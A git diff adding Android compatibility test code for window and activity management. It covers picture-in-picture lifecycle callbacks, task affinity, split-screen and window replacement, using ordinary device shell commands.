+    public void testEnterPipInterruptedCallbacks() throws Exception {
+        if (!supportsPip()) return;
+
+        // Slow down the transition animations for this test
+        setWindowTransitionAnimationDurationScale(20);
+
+        // Launch a PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        // Wait until the PiP activity has moved into the pinned stack (happens before the
+        // transition has started)
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+
+        // Relaunch the PiP activity back into fullscreen
+        String logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY);
+        // Wait until the PiP activity is reparented into the fullscreen stack (happens after the
+        // transition has finished)
+        mAmWmState.waitForValidState(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+
+        // Ensure that we get the callbacks indicating that PiP/MW mode was cancelled, but no
+        // configuration change (since none was sent)
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+                PIP_ACTIVITY, logSeparator);
+        assertTrue(lifecycleCounts.mConfigurationChangedCount == 0);
+        assertTrue(lifecycleCounts.mPictureInPictureModeChangedCount == 1);
+        assertTrue(lifecycleCounts.mMultiWindowModeChangedCount == 1);
+
+        // Reset the animation scale
+        setWindowTransitionAnimationDurationScale(1);
+    }
+
+    @Presubmit
+    @Test
+    public void testStopBeforeMultiWindowCallbacksOnDismiss() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Dismiss it
+        String logSeparator = clearLogcat();
+        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        mAmWmState.waitForValidState(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+
+        // Confirm that we get stop before the multi-window and picture-in-picture mode change
+        // callbacks
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
+                logSeparator);
+        if (lifecycleCounts.mStopCount != 1) {
+            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mStopCount
+                    + " onStop() calls, expecting 1");
+        } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
+            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
+                    + " onPictureInPictureModeChanged() calls, expecting 1");
+        } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+            fail(PIP_ACTIVITY + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
+                    + " onMultiWindowModeChanged() calls, expecting 1");
+        } else {
+            int lastStopLine = lifecycleCounts.mLastStopLineIndex;
+            int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
+            int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
+            if (!(lastStopLine < lastPipLine && lastPipLine < lastMwLine)) {
+                fail(PIP_ACTIVITY + " has received callbacks in unexpected order.  Expected:"
+                        + " stop < pip < mw, but got line indices: " + lastStopLine + ", "
+                        + lastPipLine + ", " + lastMwLine + " respectively");
+            }
+        }
+    }
+
+    @Test
+    public void testPreventSetAspectRatioWhileExpanding() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
+        // call to set the aspect ratio did not prevent the PiP from returning to fullscreen
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_EXPAND_PIP
+                + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR + " 123456789"
+                + " -e " + EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR + " 100000000");
+        mAmWmState.waitForValidState(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
+    public void testSetRequestedOrientationWhilePinned() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PiP activity fixed as portrait, and enter picture-in-picture
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
+                EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Request that the orientation is set to landscape
+        executeShellCommand("am broadcast -a "
+                + PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION + " -e "
+                + EXTRA_FIXED_ORIENTATION + " " + String.valueOf(ORIENTATION_LANDSCAPE));
+
+        // Launch the activity back into fullscreen and ensure that it is now in landscape
+        launchActivity(PIP_ACTIVITY);
+        mAmWmState.waitForValidState(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackDoesNotExist();
+        assertTrue(mAmWmState.getWmState().getLastOrientation() == ORIENTATION_LANDSCAPE);
+    }
+
+    @Test
+    public void testWindowButtonEntersPip() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PiP activity trigger the window button, ensure that we have entered PiP
+        launchActivity(PIP_ACTIVITY);
+        pressWindowButton();
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+    }
+
+    @Test
+    public void testFinishPipActivityWithTaskOverlay() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+        int taskId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getTopTask().mTaskId;
+
+        // Ensure that we don't any any other overlays as a result of launching into PIP
+        launchHomeActivity();
+
+        // Launch task overlay activity into PiP activity task
+        launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
+
+        // Finish the PiP activity and ensure that there is no pinned stack
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_FINISH);
+        mAmWmState.waitForWithAmState((amState) -> {
+            ActivityStack stack = amState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+            return stack == null;
+        }, "Waiting for pinned stack to be removed...");
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
+    public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch PiP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+        int taskId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getTopTask().mTaskId;
+
+        // Launch task overlay activity into PiP activity task
+        launchPinnedActivityAsTaskOverlay(TRANSLUCENT_TEST_ACTIVITY, taskId);
+
+        // Finish the task overlay activity while animating and ensure that the PiP activity never
+        // got resumed
+        String logSeparator = clearLogcat();
+        executeShellCommand("am stack resize-animated 4 20 20 500 500");
+        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
+        mAmWmState.waitFor((amState, wmState) -> !amState.containsActivity(
+                TRANSLUCENT_TEST_ACTIVITY), "Waiting for test activity to finish...");
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(PIP_ACTIVITY,
+                logSeparator);
+        assertTrue(lifecycleCounts.mResumeCount == 0);
+        assertTrue(lifecycleCounts.mPauseCount == 0);
+    }
+
+    @Test
+    public void testPinnedStackWithDockedStack() throws Exception {
+        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        launchActivityToSide(true, false, TEST_ACTIVITY);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        // Launch the activities again to take focus and make sure nothing is hidden
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        launchActivityToSide(true, false, TEST_ACTIVITY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        // Go to recents to make sure that fullscreen stack is invisible
+        // Some devices do not support recents or implement it differently (instead of using a
+        // separate stack id or as an activity), for those cases the visibility asserts will be
+        // ignored
+        pressAppSwitchButton();
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, false);
+    }
+
+    @Test
+    public void testLaunchTaskByComponentMatchMultipleTasks() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
+        // affinity
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+        assertPinnedStackExists();
+
+        // Launch the root activity again...
+        int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId;
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+
+        // ...and ensure that the root activity task is found and reused, and that the pinned stack
+        // is unaffected
+        assertPinnedStackExists();
+        mAmWmState.assertFocusedActivity("Expected root activity focused",
+                TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY_WITH_SAME_AFFINITY).mTaskId);
+    }
+
+    @Test
+    public void testLaunchTaskByAffinityMatchMultipleTasks() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
+        // affinity, and also launch another activity in the same task, while finishing itself. As
+        // a result, the task will not have a component matching the same activity as what it was
+        // started with
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
+                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        mAmWmState.waitForValidState(
+                TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
+        mAmWmState.waitForValidState(
+                PIP_ACTIVITY_WITH_SAME_AFFINITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+
+        // Launch the root activity again...
+        int rootActivityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY).mTaskId;
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+
+        // ...and ensure that even while matching purely by task affinity, the root activity task is
+        // found and reused, and that the pinned stack is unaffected
+        assertPinnedStackExists();
+        mAmWmState.assertFocusedActivity("Expected root activity focused", TEST_ACTIVITY);
+        assertTrue(rootActivityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+                TEST_ACTIVITY).mTaskId);
+    }
+
+    @Test
+    public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch an activity into the pinned stack with a fixed affinity
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
+                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+
+        // Launch the root activity again, of the matching task and ensure that we expand to
+        // fullscreen
+        int activityTaskId = mAmWmState.getAmState().getTaskByActivityName(
+                PIP_ACTIVITY).mTaskId;
+        launchHomeActivity();
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
+        mAmWmState.waitForValidState(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackDoesNotExist();
+        assertTrue(activityTaskId == mAmWmState.getAmState().getTaskByActivityName(
+                PIP_ACTIVITY).mTaskId);
+    }
+
+    /** Test that reported display size corresponds to fullscreen after exiting PiP. */
+    @Test
+    public void testDisplayMetricsPinUnpin() throws Exception {
+        if (!supportsPip()) return;
+
+        String logSeparator = clearLogcat();
+        launchActivity(TEST_ACTIVITY);
+        final int defaultWindowingMode = WINDOWING_MODE_FULLSCREEN;
+        // TODO: Uncomment the line below after we start dumping AM to proto.
+        //final int defaultWindowingMode = mAmWmState.getAmState().getActivity(TEST_ACTIVITY).getWindowingMode();
+        final ReportedSizes initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY,
+                logSeparator);
+        final Rect initialAppBounds = readAppBounds(TEST_ACTIVITY, logSeparator);
+        assertNotNull("Must report display dimensions", initialSizes);
+        assertNotNull("Must report app bounds", initialAppBounds);
+
+        logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        final ReportedSizes pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
+                logSeparator);
+        final Rect pinnedAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+        assertFalse("Reported display size when pinned must be different from default",
+                initialSizes.equals(pinnedSizes));
+        assertFalse("Reported app bounds when pinned must be different from default",
+                initialAppBounds.width() == pinnedAppBounds.width()
+                        && initialAppBounds.height() == pinnedAppBounds.height());
+
+        logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY, defaultWindowingMode);
+        final ReportedSizes finalSizes = getLastReportedSizesForActivity(PIP_ACTIVITY,
+                logSeparator);
+        final Rect finalAppBounds = readAppBounds(PIP_ACTIVITY, logSeparator);
+        assertEquals("Must report default size after exiting PiP", initialSizes, finalSizes);
+        assertEquals("Must report default app width() after exiting PiP", initialAppBounds.width(),
+                finalAppBounds.width());
+        assertEquals("Must report default app height() after exiting PiP", initialAppBounds.height(),
+                finalAppBounds.height());
+    }
+
+    private static final Pattern sAppBoundsPattern = Pattern.compile(
+            "(.+)mAppBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)(.*)");
+
+    /** Read app bounds in last applied configuration from logs. */
+    private Rect readAppBounds(String activityName, String logSeparator) throws Exception {
+        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+        for (int i = lines.length - 1; i >= 0; i--) {
+            final String line = lines[i].trim();
+            final Matcher matcher = sAppBoundsPattern.matcher(line);
+            if (matcher.matches()) {
+                final int left = Integer.parseInt(matcher.group(2));
+                final int top = Integer.parseInt(matcher.group(3));
+                final int right = Integer.parseInt(matcher.group(4));
+                final int bottom = Integer.parseInt(matcher.group(5));
+                return new Rect(left, top, right - left, bottom - top);
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Called after the given {@param activityName} has been moved to the fullscreen stack. Ensures
+     * that the stack matching the {@param windowingMode} and {@param activityType} is focused, and
+     * checks the top and/or bottom tasks in the fullscreen stack if
+     * {@param expectTopTaskHasActivity} or {@param expectBottomTaskHasActivity} are set respectively.
+     */
+    private void assertPinnedStackStateOnMoveToFullscreen(String activityName, int windowingMode,
+            int activityType) throws Exception {
+        mAmWmState.waitForFocusedStack(windowingMode, activityType);
+        mAmWmState.assertFocusedStack("Wrong focused stack", windowingMode, activityType);
+        mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
+        assertTrue(mAmWmState.getAmState().hasActivityState(activityName, STATE_STOPPED));
+        assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+                activityName, WINDOWING_MODE_FULLSCREEN));
+        assertPinnedStackDoesNotExist();
+    }
+
+    /**
+     * Asserts that the pinned stack bounds does not intersect with the IME bounds.
+     */
+    private void assertPinnedStackDoesNotIntersectIME() throws Exception {
+        // Ensure that the IME is visible
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        WindowManagerState.WindowState imeWinState = wmState.getInputMethodWindowState();
+        assertTrue(imeWinState != null);
+
+        // Ensure that the PIP movement is constrained by the display bounds intersecting the
+        // non-IME bounds
+        Rect imeContentFrame = imeWinState.getContentFrame();
+        Rect imeContentInsets = imeWinState.getGivenContentInsets();
+        Rect imeBounds = new Rect(imeContentFrame.left + imeContentInsets.left,
+                imeContentFrame.top + imeContentInsets.top,
+                imeContentFrame.right - imeContentInsets.width(),
+                imeContentFrame.bottom - imeContentInsets.height());
+        wmState.computeState();
+        Rect pipMovementBounds = wmState.getPinnedStackMomentBounds();
+        assertTrue(!Rect.intersects(pipMovementBounds, imeBounds));
+    }
+
+    /**
+     * Asserts that the pinned stack bounds is contained in the display bounds.
+     */
+    private void assertPinnedStackActivityIsInDisplayBounds(String activity) throws Exception {
+        final WindowManagerState.WindowState windowState = getWindowState(activity);
+        final WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(
+                windowState.getDisplayId());
+        final Rect displayRect = display.getDisplayRect();
+        final Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertTrue(displayRect.contains(pinnedStackBounds));
+    }
+
+    /**
+     * Asserts that the pinned stack exists.
+     */
+    private void assertPinnedStackExists() throws Exception {
+        mAmWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
+                ACTIVITY_TYPE_STANDARD);
+    }
+
+    /**
+     * Asserts that the pinned stack does not exist.
+     */
+    private void assertPinnedStackDoesNotExist() throws Exception {
+        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+    }
+
+    /**
+     * Asserts that the pinned stack is the front stack.
+     */
+    private void assertPinnedStackIsOnTop() throws Exception {
+        mAmWmState.assertFrontStack("Pinned stack must always be on top.",
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+    }
+
+    /**
+     * Asserts that the activity received exactly one of each of the callbacks when entering and
+     * exiting picture-in-picture.
+     */
+    private void assertValidPictureInPictureCallbackOrder(String activityName, String logSeparator)
+            throws Exception {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mConfigurationChangedCount != 1) {
+            fail(activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, expecting 1");
+        } else if (lifecycleCounts.mPictureInPictureModeChangedCount != 1) {
+            fail(activityName + " has received " + lifecycleCounts.mPictureInPictureModeChangedCount
+                    + " onPictureInPictureModeChanged() calls, expecting 1");
+        } else if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
+            fail(activityName + " has received " + lifecycleCounts.mMultiWindowModeChangedCount
+                    + " onMultiWindowModeChanged() calls, expecting 1");
+        } else {
+            int lastPipLine = lifecycleCounts.mLastPictureInPictureModeChangedLineIndex;
+            int lastMwLine = lifecycleCounts.mLastMultiWindowModeChangedLineIndex;
+            int lastConfigLine = lifecycleCounts.mLastConfigurationChangedLineIndex;
+            if (!(lastPipLine < lastMwLine && lastMwLine < lastConfigLine)) {
+                fail(activityName + " has received callbacks in unexpected order.  Expected:"
+                        + " pip < mw < config change, but got line indices: " + lastPipLine + ", "
+                        + lastMwLine + ", " + lastConfigLine + " respectively");
+            }
+        }
+    }
+
+    /**
+     * Waits until the expected picture-in-picture callbacks have been made.
+     */
+    private void waitForValidPictureInPictureCallbacks(String activityName, String logSeparator)
+            throws Exception {
+        mAmWmState.waitFor((amState, wmState) -> {
+            try {
+                final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
+                        activityName, logSeparator);
+                return lifecycleCounts.mConfigurationChangedCount == 1 &&
+                        lifecycleCounts.mPictureInPictureModeChangedCount == 1 &&
+                        lifecycleCounts.mMultiWindowModeChangedCount == 1;
+            } catch (Exception e) {
+                return false;
+            }
+        }, "Waiting for picture-in-picture activity callbacks...");
+    }
+
+    private void waitForValidAspectRatio(int num, int denom) throws Exception {
+        // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
+        // and before we can check the pinned stack bounds
+        mAmWmState.waitForWithAmState((state) -> {
+            Rect bounds = state.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED).getBounds();
+            return floatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+        }, "waitForValidAspectRatio");
+    }
+
+    /**
+     * @return the window state for the given {@param activity}'s window.
+     */
+    private WindowManagerState.WindowState getWindowState(String activity) throws Exception {
+        String windowName = getWindowName(activity);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activity).build());
+        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
+        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
+        return tempWindowList.get(0);
+    }
+
+    /**
+     * Compares two floats with a common epsilon.
+     */
+    private void assertFloatEquals(float actual, float expected) {
+        if (!floatEquals(actual, expected)) {
+            fail(expected + " not equal to " + actual);
+        }
+    }
+
+    private boolean floatEquals(float a, float b) {
+        return Math.abs(a - b) < FLOAT_COMPARE_EPSILON;
+    }
+
+    /**
+     * Triggers a tap over the pinned stack bounds to trigger the PIP to close.
+     */
+    private void tapToFinishPip() throws Exception {
+        Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        int tapX = pinnedStackBounds.left + pinnedStackBounds.width() - 100;
+        int tapY = pinnedStackBounds.top + pinnedStackBounds.height() - 100;
+        executeShellCommand(String.format("input tap %d %d", tapX, tapY));
+    }
+
+    /**
+     * Launches the given {@param activityName} into the {@param taskId} as a task overlay.
+     */
+    private void launchPinnedActivityAsTaskOverlay(String activityName, int taskId)
+            throws Exception {
+        executeShellCommand(getAmStartCmd(activityName) + " --task " + taskId + " --task-overlay");
+
+        mAmWmState.waitForValidState(activityName, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+    }
+
+    /**
+     * Sets an app-ops op for a given package to a given mode.
+     */
+    private void setAppOpsOpToMode(String packageName, String op, int mode) throws Exception {
+        executeShellCommand(String.format("appops set %s %s %d", packageName, op, mode));
+    }
+
+    /**
+     * Triggers the window keycode.
+     */
+    private void pressWindowButton() throws Exception {
+        mDevice.pressKeyCode(KEYCODE_WINDOW);
+    }
+
+    /**
+     * TODO: Improve tests check to actually check that apps are not interactive instead of checking
+     *       if the stack is focused.
+     */
+    private void pinnedStackTester(String startActivityCmd, String startActivity,
+            String topActivityName, boolean moveTopToPinnedStack, boolean isFocusable)
+            throws Exception {
+        executeShellCommand(startActivityCmd);
+        mAmWmState.waitForValidState(new WaitForValidActivityState.Builder(startActivity).build());
+
+        if (moveTopToPinnedStack) {
+            final int stackId = mAmWmState.getAmState().getStackIdByActivityName(topActivityName);
+
+            assertNotEquals(stackId, INVALID_STACK_ID);
+            executeShellCommand(getMoveToPinnedStackCommand(stackId));
+        }
+
+        mAmWmState.waitForValidState(topActivityName,
+                WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.computeState();
+
+        if (supportsPip()) {
+            final String windowName = getWindowName(topActivityName);
+            assertPinnedStackExists();
+            mAmWmState.assertFrontStack("Pinned stack must be the front stack.",
+                    WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+            mAmWmState.assertVisibility(topActivityName, true);
+
+            if (isFocusable) {
+                mAmWmState.assertFocusedStack("Pinned stack must be the focused stack.",
+                        WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+                mAmWmState.assertFocusedActivity(
+                        "Pinned activity must be focused activity.", topActivityName);
+                mAmWmState.assertFocusedWindow(
+                        "Pinned window must be focused window.", windowName);
+                // Not checking for resumed state here because PiP overlay can be launched on top
+                // in different task by SystemUI.
+            } else {
+                // Don't assert that the stack is not focused as a focusable PiP overlay can be
+                // launched on top as a task overlay by SystemUI.
+                mAmWmState.assertNotFocusedActivity(
+                        "Pinned activity can't be the focused activity.", topActivityName);
+                mAmWmState.assertNotResumedActivity(
+                        "Pinned activity can't be the resumed activity.", topActivityName);
+                mAmWmState.assertNotFocusedWindow(
+                        "Pinned window can't be focused window.", windowName);
+            }
+        } else {
+            mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.",
+                    WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
new file mode 100644
index 0000000..2d16057
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerReplaceWindowTests.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.StateLogger.log;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerReplaceWindowTests
+ */
+public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
+
+    private static final String SLOW_CREATE_ACTIVITY_NAME = "SlowCreateActivity";
+    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+
+    private List<String> mTempWindowTokens = new ArrayList();
+
+    @Test
+    public void testReplaceWindow_Dock_Relaunch() throws Exception {
+        testReplaceWindow_Dock(true);
+    }
+
+    @Test
+    public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
+        testReplaceWindow_Dock(false);
+    }
+
+    private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        final String activityName =
+                relaunch ? SLOW_CREATE_ACTIVITY_NAME : NO_RELAUNCH_ACTIVITY_NAME;
+        final String windowName = getWindowName(activityName);
+        final String amStartCmd = getAmStartCmd(activityName);
+
+        executeShellCommand(amStartCmd);
+
+        // Sleep 2 seconds, then check if the window is started properly.
+        // SlowCreateActivity will do a sleep inside its onCreate() to simulate a
+        // slow-starting app. So instead of relying on WindowManagerState's
+        // retrying mechanism, we do an explicit sleep to avoid excess spews
+        // from WindowManagerState.
+        if (SLOW_CREATE_ACTIVITY_NAME.equals(activityName)) {
+            Thread.sleep(2000);
+        }
+
+        log("==========Before Docking========");
+        final String oldToken = getWindowToken(windowName, activityName);
+
+        // Move to docked stack
+        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+        // Sleep 5 seconds, then check if the window is replaced properly.
+        Thread.sleep(5000);
+
+        log("==========After Docking========");
+        final String newToken = getWindowToken(windowName, activityName);
+
+        // For both relaunch and not relaunch case, we'd like the window to be kept.
+        Assert.assertEquals("Window replaced while docking.", oldToken, newToken);
+    }
+
+    private String getWindowToken(String windowName, String activityName)
+            throws Exception {
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+
+        mAmWmState.assertVisibility(activityName, true);
+
+        mAmWmState.getWmState().getMatchingWindowTokens(windowName, mTempWindowTokens);
+
+        Assert.assertEquals("Should have exactly one window for the activity.",
+                1, mTempWindowTokens.size());
+
+        return mTempWindowTokens.get(0);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
new file mode 100644
index 0000000..a32dc51
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerSplitScreenTests.java
@@ -0,0 +1,774 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
